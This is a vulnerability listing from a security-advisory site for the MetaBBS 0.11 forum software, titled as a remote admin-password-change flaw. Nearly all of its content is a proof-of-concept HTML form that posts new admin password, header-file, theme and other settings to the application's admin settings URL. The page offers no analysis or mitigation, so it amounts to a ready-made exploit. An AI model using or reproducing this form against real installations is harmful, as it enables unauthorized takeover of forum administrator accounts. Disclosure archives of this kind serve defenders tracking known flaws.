metabbs 0.11 Change admin password vulnerability

2009.02.05
Credit: make0day
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

Metabbs 0.11 2008-08-06 19:56 <form method="post" action="http://test.com/metabbs/admin/settings/?"> <dl> <dt><label for="settings_admin_password">Admin password</label></dt> <dd><input id="settings_admin_password" size="20" name="settings[admin_password]" value="" type="password" /></dd> <dt><label for="settings_global_header">Header file</label></dt> <dd><input id="settings_global_header" size="30" name="settings[global_header]" value="" type="text" /></dd> <dt><label for="settings_global_footer">Footer File</label></dt> <dd><input id="settings_global_footer" size="30" name="settings[global_footer]" value="" type="text" /></dd> <dt><label for="settings_theme">Site theme</label></dt> <dd><input id="settings_theme" size="30" name="settings[theme]" value="" type="text" /></dd> <dt><label for="settings_default_language">Language</label></dt> <dd> <dd><input id="ettings_default_language" size="30" name="settings[default_language]" value="" type="text" /></dd> <input name="settings[always_use_default_language]" value="0" type="hidden" /><input id="settings_always_use_default_language" name="settings[always_use_default_language]" value="1" type="checkbox" /> <label for="settings_always_use_default_language">Always Use Default Language</label> </dd> <dt><label for="settings_timezone">TimeZone</label></dt> <dd> <dd><input id="settings_timezone" size="30" name="settings[timezone]" value="" type="text" /></dd> </dl> <h2>Advanced Setting</h2> <p><input name="settings[force_fancy_url]" value="0" type="hidden" /> <input id="settings_force_fancy_url" name="settings[force_fancy_url]" value="1" type="checkbox" /> <label for="settings_force_fancy_url">Fancy URL Force Apply</label></p> <p><input type="submit" value="OK" /></p> </form>

References:

http://seclists.org/bugtraq/2009/Feb/0029.html


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top